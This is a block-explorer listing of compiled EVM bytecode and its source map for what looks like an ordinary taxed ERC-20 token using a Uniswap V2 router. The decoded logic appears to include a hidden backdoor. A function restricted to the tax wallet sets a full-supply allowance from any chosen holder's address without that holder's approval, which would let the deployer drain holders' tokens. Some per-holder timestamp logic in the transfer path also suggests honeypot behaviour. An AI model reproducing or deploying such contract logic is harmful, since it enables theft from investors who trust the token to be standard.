5f80fd5b506101aa610393366004611600565b6109e4565b3480156103a3575f80fd5b506101cf600f5481565b3480156103b8575f80fd5b506102956103c7366004611683565b6109f0565b3480156103d7575f80fd5b506101cf6103e6366004611683565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61041c338484610a38565b5060015b92915050565b5f6104336012600a6117ae565b61044090620f42406117bc565b905090565b5f610451848484610ae4565b6104a2843361049d856040518060600160405280602881526020016119d6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611184565b610a38565b5060019392505050565b600c546001600160a01b0316336001600160a01b0316146104cb575f80fd5b305f90815260016020526040902054601254600160b01b900460ff1680156104f257505f81115b1561050057610500816111bc565b478015610510576105108161132c565b5050565b5f546001600160a01b031633146105465760405162461bcd60e51b815260040161053d906117d3565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b75760405162461bcd60e51b815260040161053d906117d3565b6105c36012600a6117ae565b6105d090620f42406117bc565b600d556105df6012600a6117ae565b6105ec90620f42406117bc565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061c6012600a6117ae565b61062990620f42406117bc565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106655760405162461bcd60e51b815260040161053d906117d3565b601254600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161053d565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107079030906106fa6012600a6117ae565b61049d90620f42406117bc565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610757573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077b9190611808565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fe9190611808565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610848573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086c9190611808565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108b3816001600160a01b03165f9081526001602052604090205490565b5f806108c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109519190611823565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ca919061184e565b506012805462ff00ff60a01b19166201000160a01b179055565b5f61041c338484610ae4565b600c546001600160a01b0316336001600160a01b031614610a0f575f80fd5b610510815f6040518060400160405280600581526020016436b4b732b960d91b81525085611363565b6001600160a01b038316610a5e5760405162461bcd60e51b815260040161053d9061186d565b6001600160a01b038216610a845760405162461bcd60e51b815260040161053d906118b1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b485760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161053d565b6001600160a01b038216610baa5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161053d565b5f8111610c0b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161053d565b5f80546001600160a01b03858116911614801590610c3657505f546001600160a01b03848116911614155b8015610c505750600c546001600160a01b03848116911614155b15610ebb57601254600160a01b900460ff1615610c9657610c936064610c8d600854600b5411610c8257600454610c86565b6006545b85906113f8565b9061147d565b90505b6012546001600160a01b038581169116148015610cc157506011546001600160a01b03848116911614155b8015610ce557506001600160a01b0383165f9081526003602052604090205460ff16155b15610dcb57600d54821115610d3c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161053d565b600e5482610d5e856001600160a01b03165f9081526001602052604090205490565b610d6891906118f3565b1115610db65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161053d565b600b8054905f610dc583611906565b91905055505b6012546001600160a01b038481169116148015610df157506001600160a01b0384163014155b15610e1e57610e1b6064610c8d600954600b5411610e1157600554610c86565b60075485906113f8565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e5457506012546001600160a01b038581169116145b8015610e695750601254600160b01b900460ff165b8015610e765750600f5481115b8015610e855750600a54600b54115b15610eb957610ea7610ea284610e9d846010546114be565b6114be565b6111bc565b478015610eb757610eb74761132c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610ef857506001600160a01b0383165f9081526003602052604090205460ff165b8015610f0d57506001600160a01b0384163014155b8015610f2257506001600160a01b0383163014155b15610f2c57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f6c57506001600160a01b0383165f9081526003602052604090205460ff16155b15611047576012546001600160a01b03848116911614611014576001600160a01b038084165f9081526013602052604090206012549091868116911603610fdc5780545f03610fd757600a54600b541115610fc95743815561100e565b610fd44360016114d2565b81555b61100e565b6001600160a01b0385165f90815260136020526040902081541580611002575081548154105b1561100c57805482555b505b50611047565b6001600160a01b0384165f908152601360205260409020601454815461103a919061191e565b6002820155426001909101555b80156110bf57305f908152600160205260409020546110669082611513565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110b69085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110e190836114d2565b6001600160a01b0385165f9081526001602052604090205561112461110683836114d2565b6001600160a01b0385165f9081526001602052604090205490611513565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61116d85856114d2565b60405190815260200160405180910390a350505050565b5f81848411156111a75760405162461bcd60e51b815260040161053d919061159d565b505f6111b3848661191e565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120257611202611931565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611259573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127d9190611808565b8160018151811061129057611290611931565b6001600160a01b0392831660209182029290920101526011546112b69130911684610a38565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ee9085905f90869030904290600401611945565b5f604051808303815f87803b158015611305575f80fd5b505af1158015611317573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610510573d5f803e3d5ffd5b6001600160a01b0384166113895760405162461bcd60e51b815260040161053d9061186d565b6001600160a01b0381166113af5760405162461bcd60e51b815260040161053d906118b1565b6113bb6012600a6117ae565b6113c890620f42406117bc565b6001600160a01b039485165f90815260026020908152604080832094909716825292909252939020929092555050565b5f825f0361140757505f610420565b5f61141283856117bc565b90508261141f85836119b6565b146114765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161053d565b9392505050565b5f61147683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611571565b5f8183116114cc5782611476565b50919050565b5f61147683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611184565b5f8061151f83856118f3565b9050838110156114765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161053d565b5f81836115915760405162461bcd60e51b815260040161053d919061159d565b505f6111b384866119b6565b5f602080835283518060208501525f5b818110156115c9578581018301518582016040015282016115ad565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115fd575f80fd5b50565b5f8060408385031215611611575f80fd5b823561161c816115e9565b946020939093013593505050565b5f805f6060848603121561163c575f80fd5b8335611647816115e9565b92506020840135611657816115e9565b929592945050506040919091013590565b5f60208284031215611678575f80fd5b8135611476816115e9565b5f8060408385031215611694575f80fd5b823561169f816115e9565b915060208301356116af816115e9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561170857815f19048211156116ee576116ee6116ba565b808516156116fb57918102915b93841c93908002906116d3565b509250929050565b5f8261171e57506001610420565b8161172a57505f610420565b8160018114611740576002811461174a57611766565b6001915050610420565b60ff84111561175b5761175b6116ba565b50506001821b610420565b5060208310610133831016604e8410600b8410161715611789575081810a610420565b61179383836116ce565b805f19048211156117a6576117a66116ba565b029392505050565b5f61147660ff841683611710565b8082028115828204841417610420576104206116ba565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611818575f80fd5b8151611476816115e9565b5f805f60608486031215611835575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561185e575f80fd5b81518015158114611476575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b80820180821115610420576104206116ba565b5f60018201611917576119176116ba565b5060010190565b81810381811115610420576104206116ba565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119955784516001600160a01b031683529383019391830191600101611970565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119d057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c26e106163be61ee5c7cd12a911aaa8512b0e10b71191fd7553488a662aa113564736f6c63430008170033

Deployed Bytecode Sourcemap

3916:9544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5880:83;;;;;;;;;;-1:-1:-1;5950:5:0;;;;;;;;;;;;;;;;;5880:83;;;;;;;:::i;:::-;;;;;;;;6713:161;;;;;;;;;;-1:-1:-1;6713:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6713:161:0;1023:187:1;4971:49:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4971:49:0;1215:177:1;5033:41:0;;;;;;;;;;-1:-1:-1;5033:41:0;;;;-1:-1:-1;;;;;5033:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;5033:41:0;1397:229:1;6157:95:0;;;;;;;;;;;;;:::i;6882:363::-;;;;;;;;;;-1:-1:-1;6882:363:0;;;;;:::i;:::-;;:::i;6066:83::-;;;;;;;;;;-1:-1:-1;6066:83:0;;4716:2;2234:36:1;;2222:2;2207:18;6066:83:0;2092:184:1;5081:28:0;;;;;;;;;;-1:-1:-1;5081:28:0;;;;-1:-1:-1;;;;;5081:28:0;;;13093:364;;;;;;;;;;;;;:::i;:::-;;6260:119;;;;;;;;;;-1:-1:-1;6260:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6353:18:0;6326:7;6353:18;;;:9;:18;;;;;;;6260:119;2997:148;;;;;;;;;;;;;:::i;11916:161::-;;;;;;;;;;;;;:::i;4790:51::-;;;;;;;;;;;;;;;;12185:671;;;;;;;;;;;;;:::i;2783:79::-;;;;;;;;;;-1:-1:-1;2821:7:0;2848:6;-1:-1:-1;;;;;2848:6:0;2783:79;;4848:53;;;;;;;;;;;;;;;;5971:87;;;;;;;;;;-1:-1:-1;6043:7:0;;;;;;;;;;;;-1:-1:-1;;;6043:7:0;;;;5971:87;;6387:167;;;;;;;;;;-1:-1:-1;6387:167:0;;;;;:::i;:::-;;:::i;4908:56::-;;;;;;;;;;;;;;;;12901:184;;;;;;;;;;-1:-1:-1;12901:184:0;;;;;:::i;:::-;;:::i;6562:143::-;;;;;;;;;;-1:-1:-1;6562:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6670:18:0;;;6643:7;6670:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6562:143;6713:161;6788:4;6805:39;589:10;6828:7;6837:6;6805:8;:39::i;:::-;-1:-1:-1;6862:4:0;6713:161;;;;;:::o;6157:95::-;6210:7;4770:13;4716:2;4770;:13;:::i;:::-;4760:23;;:7;:23;:::i;:::-;6230:14;;6157:95;:::o;6882:363::-;6980:4;6997:36;7007:6;7015:9;7026:6;6997:9;:36::i;:::-;7044:171;7067:6;589:10;7115:89;7153:6;7115:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7115:19:0;;;;;;:11;:19;;;;;;;;589:10;7115:33;;;;;;;;;;:37;:89::i;:::-;7044:8;:171::i;:::-;-1:-1:-1;7233:4:0;6882:363;;;;;:::o;13093:364::-;13157:10;;-1:-1:-1;;;;;13157:10:0;589;-1:-1:-1;;;;;13143:24:0;;13135:33;;;;;;13218:4;13179:20;6353:18;;;:9;:18;;;;;;13238:11;;-1:-1:-1;;;13238:11:0;;;;:29;;;;;13266:1;13253:12;:14;13238:29;13235:89;;;13282:30;13299:12;13282:16;:30::i;:::-;13353:21;13388:12;;13385:65;;13414:24;13427:10;13414:12;:24::i;:::-;13124:333;;13093:364::o;2997:148::-;2910:6;;-1:-1:-1;;;;;2910:6:0;589:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;;;;;;;;;3104:1:::1;3088:6:::0;;3067:40:::1;::::0;-1:-1:-1;;;;;3088:6:0;;::::1;::::0;3067:40:::1;::::0;3104:1;;3067:40:::1;3135:1;3118:19:::0;;-1:-1:-1;;;;;;3118:19:0::1;::::0;;2997:148::o;11916:161::-;2910:6;;-1:-1:-1;;;;;2910:6:0;589:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;4770:13:::1;4716:2;4770;:13;:::i;:::-;4760:23;::::0;:7:::1;:23;:::i;:::-;11972:12;:21:::0;4770:13:::1;4716:2;4770;:13;:::i;:::-;4760:23;::::0;:7:::1;:23;:::i;:::-;12004:14;:22:::0;12042:27:::1;4770:13;4716:2;4770;:13;:::i;:::-;4760:23;::::0;:7:::1;:23;:::i;:::-;12042:27;::::0;1361:25:1;;;1349:2;1334:18;12042:27:0::1;;;;;;;11916:161::o:0;12185:671::-;2910:6;;-1:-1:-1;;;;;2910:6:0;589:10;2910:22;2902:67;;;;-1:-1:-1;;;2902:67:0;;;;;;;:::i;:::-;12251:11:::1;::::0;-1:-1:-1;;;12251:11:0;::::1;;;12250:12;12242:47;;;::::0;-1:-1:-1;;;12242:47:0;;5379:2:1;12242:47:0::1;::::0;::::1;5361:21:1::0;5418:2;5398:18;;;5391:30;5457:25;5437:18;;;5430:53;5500:18;;12242:47:0::1;5177:347:1::0;12242:47:0::1;12300:15;:80:::0;;-1:-1:-1;;;;;;12300:80:0::1;12337:42;12300:80:::0;;::::1;::::0;;;12391:57:::1;::::0;12408:4:::1;::::0;4770:13:::1;4716:2;4770;:13;:::i;:::-;4760:23;::::0;:7:::1;:23;:::i;12391:57::-;12493:15;;;;;;;;;-1:-1:-1::0;;;;;12493:15:0::1;-1:-1:-1::0;;;;;12493:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12475:55:0::1;;12539:4;12545:15;;;;;;;;;-1:-1:-1::0;;;;;12545:15:0::1;-1:-1:-1::0;;;;;12545:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12475:93;::::0;-1:-1:-1;;;;;;12475:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6015:15:1;;;12475:93:0::1;::::0;::::1;5997:34:1::0;6067:15;;6047:18;;;6040:43;5932:18;;12475:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12459:13;:109:::0;;-1:-1:-1;;;;;12459:109:0;;::::1;-1:-1:-1::0;;;;;;12459:109:0;;::::1;;::::0;;12579:15:::1;::::0;::::1;:31;12618:21;12649:4;12655:24;12649:4:::0;-1:-1:-1;;;;;6353:18:0;6326:7;6353:18;;;:9;:18;;;;;;;6260:119;12655:24:::1;12680:1;12682::::0;12684:7:::1;2821::::0;2848:6;-1:-1:-1;;;;;2848:6:0;;2783:79;12684:7:::1;12579:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12579:129:0;;;-1:-1:-1;;;;;6453:15:1;;;12579:129:0::1;::::0;::::1;6435:34:1::0;6485:18;;;6478:34;;;;6528:18;;;6521:34;;;;6571:18;;;6564:34;6635:15;;;6614:19;;;6607:44;12692:15:0::1;6667:19:1::0;;;6660:35;6369:19;;12579:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12726:13:0::1;::::0;12757:15:::1;::::0;12719:71:::1;::::0;-1:-1:-1;;;12719:71:0;;-1:-1:-1;;;;;12757:15:0;;::::1;12719:71;::::0;::::1;7191:51:1::0;-1:-1:-1;;7258:18:1;;;7251:34;12726:13:0;::::1;::::0;-1:-1:-1;12719:29:0::1;::::0;7164:18:1;;12719:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12801:11:0::1;:18:::0;;-1:-1:-1;;;;12830:18:0;-1:-1:-1;;;12830:18:0;;;12185:671::o;6387:167::-;6465:4;6482:42;589:10;6506:9;6517:6;6482:9;:42::i;12901:184::-;13007:10;;-1:-1:-1;;;;;13007:10:0;589;-1:-1:-1;;;;;12993:24:0;;12985:33;;;;;;13029:48;13041:12;13055:1;13029:48;;;;;;;;;;;;;-1:-1:-1;;;13029:48:0;;;13067:9;13029:11;:48::i;7253:335::-;-1:-1:-1;;;;;7346:19:0;;7338:68;;;;-1:-1:-1;;;7338:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7425:21:0;;7417:68;;;;-1:-1:-1;;;7417:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7496:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7548:32;;1361:25:1;;;7548:32:0;;1334:18:1;7548:32:0;;;;;;;7253:335;;;:::o;7913:3392::-;-1:-1:-1;;;;;8001:18:0;;7993:68;;;;-1:-1:-1;;;7993:68:0;;8588:2:1;7993:68:0;;;8570:21:1;8627:2;8607:18;;;8600:30;8666:34;8646:18;;;8639:62;-1:-1:-1;;;8717:18:1;;;8710:35;8762:19;;7993:68:0;8386:401:1;7993:68:0;-1:-1:-1;;;;;8080:16:0;;8072:64;;;;-1:-1:-1;;;8072:64:0;;8994:2:1;8072:64:0;;;8976:21:1;9033:2;9013:18;;;9006:30;9072:34;9052:18;;;9045:62;-1:-1:-1;;;9123:18:1;;;9116:33;9166:19;;8072:64:0;8792:399:1;8072:64:0;8163:1;8155:6;:9;8147:63;;;;-1:-1:-1;;;8147:63:0;;9398:2:1;8147:63:0;;;9380:21:1;9437:2;9417:18;;;9410:30;9476:34;9456:18;;;9449:62;-1:-1:-1;;;9527:18:1;;;9520:39;9576:19;;8147:63:0;9196:405:1;8147:63:0;8223:17;2848:6;;-1:-1:-1;;;;;8257:15:0;;;2848:6;;8257:15;;;;:32;;-1:-1:-1;2821:7:0;2848:6;-1:-1:-1;;;;;8276:13:0;;;2848:6;;8276:13;;8257:32;:52;;;;-1:-1:-1;8299:10:0;;-1:-1:-1;;;;;8293:16:0;;;8299:10;;8293:16;;8257:52;8253:1366;;;8329:11;;-1:-1:-1;;;8329:11:0;;;;8326:162;;;8372:100;8468:3;8372:91;8418:15;;8406:9;;:27;8405:57;;8448:14;;8405:57;;;8435:12;;8405:57;8372:6;;:32;:91::i;:::-;:95;;:100::i;:::-;8360:112;;8326:162;8516:13;;-1:-1:-1;;;;;8508:21:0;;;8516:13;;8508:21;:55;;;;-1:-1:-1;8547:15:0;;-1:-1:-1;;;;;8533:30:0;;;8547:15;;8533:30;;8508:55;:85;;;;-1:-1:-1;;;;;;8570:23:0;;;;;;:19;:23;;;;;;;;8568:25;8508:85;8504:312;;;8632:12;;8622:6;:22;;8614:60;;;;-1:-1:-1;;;8614:60:0;;9808:2:1;8614:60:0;;;9790:21:1;9847:2;9827:18;;;9820:30;9886:27;9866:18;;;9859:55;9931:18;;8614:60:0;9606:349:1;8614:60:0;8725:14;;8717:6;8701:13;8711:2;-1:-1:-1;;;;;6353:18:0;6326:7;6353:18;;;:9;:18;;;;;;;6260:119;8701:13;:22;;;;:::i;:::-;:38;;8693:77;;;;-1:-1:-1;;;8693:77:0;;10292:2:1;8693:77:0;;;10274:21:1;10331:2;10311:18;;;10304:30;10370:28;10350:18;;;10343:56;10416:18;;8693:77:0;10090:350:1;8693:77:0;8789:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8504:312;8840:13;;-1:-1:-1;;;;;8835:18:0;;;8840:13;;8835:18;:42;;;;-1:-1:-1;;;;;;8857:20:0;;8872:4;8857:20;;8835:42;8832:217;;;8910:123;9029:3;8910:92;8954:16;;8944:9;;:26;8943:58;;8986:15;;8943:58;;;8972:13;;8910:6;;:32;:92::i;:123::-;8898:135;;8832:217;9114:4;9065:28;6353:18;;;:9;:18;;;;;;9141:6;;-1:-1:-1;;;9141:6:0;;;;9140:7;:29;;;;-1:-1:-1;9156:13:0;;-1:-1:-1;;;;;9150:19:0;;;9156:13;;9150:19;9140:29;:44;;;;-1:-1:-1;9173:11:0;;-1:-1:-1;;;9173:11:0;;;;9140:44;:105;;;;;9228:17;;9205:20;:40;9140:105;:156;;;;;9278:18;;9266:9;;:30;9140:156;9135:473;;;9331:69;9348:51;9352:6;9360:38;9364:20;9386:11;;9360:3;:38::i;:::-;9348:3;:51::i;:::-;9331:16;:69::i;:::-;9448:21;9492;;9488:105;;9538:35;9551:21;9538:12;:35::i;:::-;9312:296;9135:473;8311:1308;8253:1366;-1:-1:-1;;;;;9635:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;9664:23:0;;;;;;:19;:23;;;;;;;;9635:52;9634:77;;;;-1:-1:-1;;;;;;9692:19:0;;9706:4;9692:19;;9634:77;:112;;;;-1:-1:-1;;;;;;9728:18:0;;9741:4;9728:18;;9634:112;9631:187;;;9794:12;9773:19;:33;9631:187;-1:-1:-1;;;;;9834:25:0;;;;;;:19;:25;;;;;;;;9833:26;:54;;;;-1:-1:-1;;;;;;9864:23:0;;;;;;:19;:23;;;;;;;;9863:24;9833:54;9830:1103;;;9907:13;;-1:-1:-1;;;;;9907:19:0;;;:13;;:19;9903:1019;;-1:-1:-1;;;;;9983:17:0;;;9948:32;9983:17;;;:13;:17;;;;;10023:13;;9983:17;;10023:21;;;:13;;:21;10019:665;;10073:19;;;:24;10069:313;;10140:18;;10130:9;;:28;10126:233;;;10213:12;10191:34;;10019:665;;10126:233;10312:19;:12;10329:1;10312:16;:19::i;:::-;10290:41;;10126:233;10019:665;;;-1:-1:-1;;;;;10461:19:0;;10430:28;10461:19;;;:13;:19;;;;;10509;;:23;;10507:67;;-1:-1:-1;10555:19:0;;10537:15;;:37;10507:67;10503:162;;;10626:15;;10604:37;;10503:162;10407:277;10019:665;9929:770;9903:1019;;;-1:-1:-1;;;;;10755:19:0;;10724:28;10755:19;;;:13;:19;;;;;10834;;10818:15;;:35;;10834:19;10818:35;:::i;:::-;10793:22;;;:60;10891:15;10872:16;;;;:34;9903:1019;10949:13;;10945:171;;11023:4;11005:24;;;;:9;:24;;;;;;:39;;11034:9;11005:28;:39::i;:::-;10997:4;10979:24;;;;:9;:24;;;;;;;:65;;;;11064:40;;-1:-1:-1;;;;;11064:40:0;;;;;;;11094:9;1361:25:1;;1349:2;1334:18;;1215:177;11064:40:0;;;;;;;;10945:171;-1:-1:-1;;;;;11143:15:0;;;;;;:9;:15;;;;;;:28;;11164:6;11143:19;:28::i;:::-;-1:-1:-1;;;;;11126:15:0;;;;;;:9;:15;;;;;:45;11198:40;11216:21;:6;11227:9;11216:10;:21::i;:::-;-1:-1:-1;;;;;11198:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11183:13:0;;;;;;;:9;:13;;;;;:55;;;;11254:43;;;11273:23;:6;11285:9;11273:10;:23::i;:::-;11254:43;;1361:25:1;;;1349:2;1334:18;11254:43:0;;;;;;;7982:3323;7913:3392;;;:::o;1650:190::-;1736:7;1772:12;1764:6;;;;1756:29;;;;-1:-1:-1;;;1756:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1796:9:0;1808:5;1812:1;1808;:5;:::i;:::-;1796:17;1650:190;-1:-1:-1;;;;;1650:190:0:o;11421:487::-;5500:6;:13;;-1:-1:-1;;;;5500:13:0;-1:-1:-1;;;5500:13:0;;;11523:16:::1;::::0;;11537:1:::1;11523:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11523:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11523:16:0::1;11499:40;;11570:4;11552;11557:1;11552:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11552:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11596:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11596:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11552:7;;11596:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11586:4;11591:1;11586:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11586:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11663:15:::1;::::0;11631:62:::1;::::0;11648:4:::1;::::0;11663:15:::1;11681:11:::0;11631:8:::1;:62::i;:::-;11704:15;::::0;:196:::1;::::0;-1:-1:-1;;;11704:196:0;;-1:-1:-1;;;;;11704:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11785:11;;11704:15:::1;::::0;11827:4;;11854::::1;::::0;11874:15:::1;::::0;11704:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5536:6:0;:14;;-1:-1:-1;;;;5536:14:0;;;-1:-1:-1;;;;11421:487:0:o;12085:92::-;12142:10;;:27;;-1:-1:-1;;;;;12142:10:0;;;;:27;;;;;12162:6;;12142:10;:27;:10;:27;12162:6;12142:10;:27;;;;;;;;;;;;;;;;;;;7596:309;-1:-1:-1;;;;;7710:19:0;;7702:68;;;;-1:-1:-1;;;7702:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7789:21:0;;7781:68;;;;-1:-1:-1;;;7781:68:0;;;;;;;:::i;:::-;4770:13;4716:2;4770;:13;:::i;:::-;4760:23;;:7;:23;:::i;:::-;-1:-1:-1;;;;;7860:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:37;;;;-1:-1:-1;;7596:309:0:o;1848:246::-;1906:7;1930:1;1935;1930:6;1926:47;;-1:-1:-1;1960:1:0;1953:8;;1926:47;1983:9;1995:5;1999:1;1995;:5;:::i;:::-;1983:17;-1:-1:-1;2028:1:0;2019:5;2023:1;1983:17;2019:5;:::i;:::-;:10;2011:56;;;;-1:-1:-1;;;2011:56:0;;12391:2:1;2011:56:0;;;12373:21:1;12430:2;12410:18;;;12403:30;12469:34;12449:18;;;12442:62;-1:-1:-1;;;12520:18:1;;;12513:31;12561:19;;2011:56:0;12189:397:1;2011:56:0;2085:1;1848:246;-1:-1:-1;;;1848:246:0:o;2102:132::-;2160:7;2187:39;2191:1;2194;2187:39;;;;;;;;;;;;;;;;;:3;:39::i;11313:100::-;11370:7;11399:1;11395;:5;11394:11;;11404:1;11394:11;;;-1:-1:-1;11402:1:0;11313:100;-1:-1:-1;11313:100:0:o;1506:136::-;1564:7;1591:43;1595:1;1598;1591:43;;;;;;;;;;;;;;;;;:3;:43::i;1319:179::-;1377:7;;1409:5;1413:1;1409;:5;:::i;:::-;1397:17;;1438:1;1433;:6;;1425:46;;;;-1:-1:-1;;;1425:46:0;;12793:2:1;1425:46:0;;;12775:21:1;12832:2;12812:18;;;12805:30;12871:29;12851:18;;;12844:57;12918:18;;1425:46:0;12591:351:1;2242:189:0;2328:7;2363:12;2356:5;2348:28;;;;-1:-1:-1;;;2348:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2387:9:0;2399:5;2403:1;2399;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;